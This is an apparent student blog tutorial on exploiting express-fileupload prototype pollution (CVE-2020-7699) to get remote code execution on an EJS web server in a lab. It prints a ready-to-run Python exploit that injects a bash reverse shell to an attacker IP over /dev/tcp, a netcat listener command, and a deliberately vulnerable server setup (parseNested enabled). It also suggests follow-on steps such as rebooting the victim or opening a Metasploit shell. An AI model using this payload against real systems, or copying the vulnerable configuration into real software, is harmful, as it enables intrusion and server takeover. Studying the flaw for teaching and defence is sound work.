Simple Remote Code Execution on EJS Web Applications with express-fileupload
Tags: node, security, webdev
Published: 2021-06-05 11:18:36

![attack scenario diagram](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/overview-diagram.png)
[TLDR with no explanation](https://github.com/boiledsteak/EJS-Exploit/blob/main/EJS-RCE-user-guide-plain.docx)

As an IT / cybersecurity student, I heavily relied on searching online for guides and forums to help me with my assignments. So this is me giving back to the community 😄

In this post I will explain how to exploit a vulnerability in an older version of a NodeJS library to enable RCE. Many concepts and technologies used will require an

> **intermmediate level of hands-on knowledge of cybersecurity**

I will not explain every term. The entire process is quite simple. If you are unfamiliar with anything, try read it up. Everything mentioned is fairly common.

This Proof of Concept (POC) is a simple example of RCE. **Good for demonstrating RCE to an audience without technical knowledge.** I doubt it can be used in the wild for penetration testing or for any malicious purposes. In fact the author of the dependency has a [glaring warning](https://github.com/richardgirges/express-fileupload) of this vulnerability at the top of their github repo
![security warning of express-fileupload](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/github.png)


This exploit was referenced from: https://blog.p6.is/Real-World-JS-1/
^The author explains why the outdated dependency is vulnerable.

_**Disclaimer: I am a security student with no professional programming / software engineer experience so my code may not be following best practices...but they work**_

# Contents <a name="Contents"></a>
* [Abstract](#Abstract)
* [Set Up](#Set Up)
   * [Attacker](#Attacker)
   * [Victim](#Victim)
* [Launch Attack](#Launch Attack)
* [Risk](#Risk)
   * [Likelihood](#Likelihood)
   * [Impact](#Impact)


# Abstract <a name="Abstract"></a>
   |   |
--- | ---
CVE Code | CVE-2020-7699
CWE Code | CWE-400
Publish Date | 30 July 2020
Attack Type | Remote Code Execution
Vulnerability | JavaScript Prototype Pollution
Cause | Misconfiguration?
Fix | Update Libraries, Proper Network Configuration, Firewalls
Affected Technology | Node, Express, express-fileupload v1.1.10 and earlier , EJS

[🚀 back to contents](#contents)


# Set Up <a name="Set Up"></a>
All files needed can be found in my github repository. Higher resolution versions of all images used can be found in there too.
{% github boiledsteak/EJS-Exploit no-readme %}
## Attacker <a name="Attacker"></a>
First, set up a Kali Virtual Machine (VM). Ensure all commands are run in bash. Check that Python3 is installed.

Move this file into the kali VM
**EJS-RCE-attack.py** (can be found in my github repo)
```python
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
# 
# Timothy, 10 November 2020
##############################################################

### imports
import requests

### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.98.11/8020 0>&1"'

print("Starting Attack...")
### pollute
requests.post('http://192.168.98.10:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

### execute command
requests.get('http://192.168.98.10:8080')
print("Finished!")
```

Yes I know a docker would have been lighter than a VM but the purpose of this POC is more for demonstration so having a VM makes the process more visual.

Next, modify **EJS-RCE-attack.py** to fit attacker’s machine address and port. Line 13, change
``` 
/dev/tcp/192.168.98.11/8020
```
to 
```
/dev/tcp/<attacker’s IP address>/<attacker’s port to listen for connection from victim>
```
You could leave it at port 8020. Just ensure that no firewall rules are blocking the ports you use.

Modify **EJS-RCE-attack.py** to fit victim’s machine address and port. Line 17 and line 21. Change http address to victim’s web address.

![screenshot of code](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/changing-address.png)

[🚀 back to contents](#contents)


## Victim <a name="Victim"></a>
This part requires a bit more preparation since you will need to set up an EJS web server. There are many detailed guides online about EJS and how to create a web app with it so I won't detail everything in this post. I'll briefly list the steps needed to get one running.

First, set up an Ubuntu VM. Ensure it can 'talk' to the Kali VM. Install NodeJS and NPM.

Create a directory to contain the webserver code. It should look something like the screenshot below. For now just create the folders. Don't create the files yet. This step is optional but I feel it makes the webserver cleaner and easier to navigate. This step is useful if you choose to expand on my attack scenario for instance, adding a database to the webserver, adding multiple web pages etc...

btw command to print directory tree in windows is
```shell
tree /A
```
![screenshot of directory tree](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/webserver-tree.png)

Okay first file to create is **package.json**. Move it to backend as pictured in the directory tree screenshot. (all files can be found in my github repo)
```JSON
{
  "name": "some-website",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "^1.1.7-alpha.3"
  }
}
```

open a terminal in the backend folder and run
```bash
npm install
```
This installs all needed libraries and dependencies including EJS. A "node_modules" folder should appear.

Now, write the server code **server.js**
```javascript
// web server code
// website starts here

// imports
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));
// set the view engine to ejs
app.set('view engine', 'ejs');
app.set('views', "../frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});



// sever starting ...
const server = http.Server(app);
const addr = "192.168.98.10"
const port = 8080;
server.listen(port, addr, () => {
    console.log('Server listening on '+ addr + ' port ' + port);
 });
```
You'll need to change the "addr" variable in line 24 to match your victim machine's IP address.

Next, create a simple HTML page in frontend/pages. It needs to be an .ejs file. I created a very plain one **index.ejs**. This is to show that this attack does not require the victim to click anything on the website. The vulnerability lies in an outdated dependency used. No XSS needed. I probably don't need to show the code but here it is lol.
```HTML
<!DOCTYPE html>
<html>
    <head>
        <title>Some Website</title>
    </head>
    <body>
        <h1>This is some website</h1>
    </body>
</html>
```

[🚀 back to contents](#contents)

# Launch Attack <a name="Launch Attack"></a>
With everything set up, you can finally launch the attack. First, start the web server from the victim machine. Run npm start in the backend directory where the server.js file is located.

![screenshot of npm start](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/start-webserver.png)

Now on the attacker side start a nc to listen for a connection from the victim.

```bash
nc -lvp 8020
```

Then start the actual exploit
```bash
python3 EJS-RCE-attack.py
```

![screenshot of terminal](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/attacker-exploiting.png)

If everything is done properly, you should be seeing a shell of the victim, on the attacker's terminal. From here you can do all kinds of commands to demonstrate RCE. You could do a simple DOS by restarting the machine with init 6. Or maybe do something even more 'hackerman' by downloading a MSFvenom and opening a metasploit shell.

That's all to the attack. It's actually very simple. As I said at the start, this is just a simple RCE POC to show that misconfiguration can lead to severe vulnerabilities. The victim doesn't even need to click anything on the website and yet the web server can be compromised.

[🚀 back to contents](#contents)

# Risk <a name="Risk"></a>
As defined by the [OWASP risk rating methodology](https://owasp.org/www-project-risk-assessment-framework/), the risk of a vulnerability is measured by its likelihood and impact.

## Likelihood <a name="Likelihood"></a>
The likelihood of this exploit happening is extremely low because it relies on an outdated version of express-fileupload. The github repo that maintains this dependency even has a security warning about this exploit. Moreover EJS is not usually used in production. React, Angular , Vue, these are some of the more popular javascript frontend frameworks. EJS is used more for learning and development.

**Thus I would give this a Low likelihood rating of 1/3**

## Impact <a name="Impact"></a>
Since this is a RCE exploit, the impact is very high. RCE can enable all sorts of attacks. Stealing data, denial of service, opening backdoors, lateral movement - these are to name of but a few. Of course there are many effective ways to mitigate the impact of RCE such as firewalls, giving least privelege, port blocking etc. however the impact is still high.

**Thus I would give this a High impact rating of 3/3**

With low likelihood and high impact, I rate this exploit as a **Medium Risk**
![risk rating](https://raw.githubusercontent.com/boiledsteak/EJS-Exploit/main/screenshots/risk-rating.png)
[🚀 back to contents](#contents)

# That's it!
Thank you for reading my first post :) Yes I know it's a very simple and amateur exploit but I hope someone finds it useful. I'm just a student with no real professional experience so some of my information may even be false or misinformed. Please let me know if I missed anything. You can read more about javascript prototype pollution to understand deeper why this vulnerability even exists.